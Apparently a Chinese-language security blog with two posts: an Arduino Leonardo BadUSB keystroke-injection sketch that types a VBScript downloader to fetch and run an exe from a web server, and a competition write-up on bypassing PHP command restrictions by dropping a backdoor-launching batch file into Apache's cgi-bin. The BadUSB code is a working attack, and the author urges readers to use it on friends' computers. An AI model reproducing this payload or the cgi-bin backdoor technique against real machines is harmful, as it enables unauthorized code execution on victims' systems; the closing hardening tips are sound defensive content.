  if (string == 'w') return "119";
  if (string == 'x') return "120";
  if (string == 'y') return "121";
  if (string == 'z') return "122";
  if (string == '{') return "123";
  if (string == '|') return "124";
  if (string == '}') return "125";
  if (string == '~') return "126";
  Keyboard.print(string);
  return "000";
}

void release_keys()
{
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
}

void send_keys(byte key, byte modifier)
{
  if(modifier)
    Keyboard.set_modifier(modifier);
  Keyboard.set_key1(key);
  Keyboard.send_now();
  delay(100);
  release_keys();   
}

void omg(char *SomeCommand)
{
  Keyboard.set_modifier(128); 
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now(); 
  Keyboard.set_modifier(0); 
  Keyboard.set_key1(0); 
  Keyboard.send_now(); 
  delay(1500);
  ascii_type_this(SomeCommand);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

但是这个程序是供teensy使用的,我们需要对他进行一些改造。我们发现,程序的主要执行部分都在setup()函数中,在使用leonardo目标build的时候会提示keyboard中没有某些成员函数。于是我们就要将此部分改写。这里我已经把omg函数和ascii_println函数改写过了。改写过后的程序如下

#define LED_PIN 13
#define myKeyBreak 50
#define DIS_PIN 15
#define NOTEPAD 1

bool ledState = false;

void cmdrun(char *cmd)
{
	Keyboard.println(cmd);
}

void guirun(char *cmd)
{
	Keyboard.press(KEY_LEFT_GUI);
	Keyboard.press('r');
	delay(100);
	Keyboard.releaseAll();
	Keyboard.println(cmd);
        delay(myKeyBreak);
}

void setup() {
  delay(5000);
  guirun("cmd.exe");
  delay(500);
  cmdrun("del x.exe");
  delay(myKeyBreak);
  cmdrun("echo strFileURL = "http://localhost/x.exe" > guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo strHDLocation = "xx.exe" >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objXMLHTTP.open "GET", strFileURL, false >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objXMLHTTP.send() >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo If objXMLHTTP.Status = 200 Then >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo Set objADOStream = CreateObject("ADODB.Stream") >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objADOStream.Open >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objADOStream.Type = 1 >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objADOStream.Write objXMLHTTP.ResponseBody >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objADOStream.Position = 0 >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo Set objFSO = Createobject("Scripting.FileSystemObject") >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo Set objFSO = Nothing >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objADOStream.SaveToFile strHDLocation >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo objADOStream.Close >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo Set objADOStream = Nothing >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo End if >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("echo Set objXMLHTTP = Nothing >> guirun.vbs");
  delay(myKeyBreak);
  cmdrun("exit");
  delay(1000);
  guirun("cmd /c cscript guirun.vbs");
  delay(8000);
  guirun("cmd /c del guirun.vbs");
  delay(1000);
  guirun("cmd /c start xx.exe");
  delay(1000000);
}
void loop()
{
}

我们使用改写过的代码编译上传,并且在http服务器中存放好用于攻击的exe文件,插上我们的BadUSB后,便会自动实施攻击。用这个BaD设备去捅你的小伙伴的电脑吧!

但是目前这种改写只能适用于简单的脚本。如果生成内嵌payload的teensy脚本则很难改写。正在尝试将teensy的库移植到leonardo上。目前基本完成但尚未测试。测试通过后会发布出来。目前也正在尝试群联某方案上的攻击漏洞。期末考完试后考虑做一款内置储存的BadUSB设备。理论上比普通U盘贵30-40元左右。

Web服务器CGI安全——由一次信息安全竞赛引发的思考

201x年1x月2x日,我们团队在一次信息安全的决赛中,拿下了一台Windows+wamp的主机。但是该主机在php.ini中限制了所有跟执行有关的函数,如system, popen等,因此,无法使用webshell正常运行系统命令,更无法运行上传的后门。而题目中有一个得分点是得到服务器中安装的360杀毒中白名单文件名。该服务器的远程桌面是打开的但是端口是在1433监听的(默认应为3389)。我们的扫描器在扫描时没有打开协议枚举

# nmap -A

因此我们对1433端口判断错误。于是思路转为绕过PHP系统执行限制(本题目的官方思路应为使用webshell拿下SAM文件,然后gethash后字典破解,使用mstsc远程进入桌面)。

在exploit-db中发现一个php5.x通过shellshock漏洞绕过函数限制的利用

# searchsploit php bypass
...
PHP 5.x Shellshock Exploit (bypass disable_f | /php/webapps/35146.txt

但是此漏洞仅能从Linux服务器上成功执行。我们在这里卡住了。

后来猛然想起Apache无论是在Wamp中还是在Linux发行版中,CGI程序执行默认都是打开的!于是上传后门和利用脚本到cgi-bin中:

start backdoor.exe
echo Started...

然后在浏览器中访问http://xxx.xxx.xxx.xxx/cgi-bin/start.bat,等待片刻,目标机器成功上线。

附上WAMP2.4版默认apache配置文件片段

#LoadModule cache_module modules/mod_cache.so
#LoadModule cache_disk_module modules/mod_cache_disk.so
#LoadModule cern_meta_module modules/mod_cern_meta.so
LoadModule cgi_module modules/mod_cgi.so
#LoadModule charset_lite_module modules/mod_charset_lite.so
#LoadModule data_module modules/mod_data.so
#LoadModule dav_module modules/mod_dav.so
#LoadModule dav_fs_module modules/mod_dav_fs.so
...

<IfModule alias_module>
    #
    # Redirect: Allows you to tell clients about documents that used to 
    # exist in your server's namespace, but do not anymore. The client 
    # will make a new request for the document at its new location.
    # Example:
    # Redirect permanent /foo http://www.example.com/bar

    #
    # Alias: Maps web paths into filesystem paths and is used to
    # access content that does not live under the DocumentRoot.
    # Example:
    # Alias /webpath /full/filesystem/path
    #
    # If you include a trailing / on /webpath then the server will
    # require it to be present in the URL.  You will also likely
    # need to provide a <Directory> section to allow access to
    # the filesystem path.

    #
    # ScriptAlias: This controls which directories contain server scripts. 
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the target directory are treated as applications and
    # run by the server when requested rather than as documents sent to the
    # client.  The same rules about trailing "/" apply to ScriptAlias
    # directives as to Alias.
    #
    ScriptAlias /cgi-bin/ "F:/WampServer/cgi-bin/"

</IfModule>

<IfModule cgid_module>
    #
    # ScriptSock: On threaded servers, designate the path to the UNIX
    # socket used to communicate with the CGI daemon of mod_cgid.
    #
    #Scriptsock cgisock
</IfModule>

推荐设置:

如非必要请关闭cgi扩展

通过.htaccess限制可以执行的文件名

(linux)限制文件权限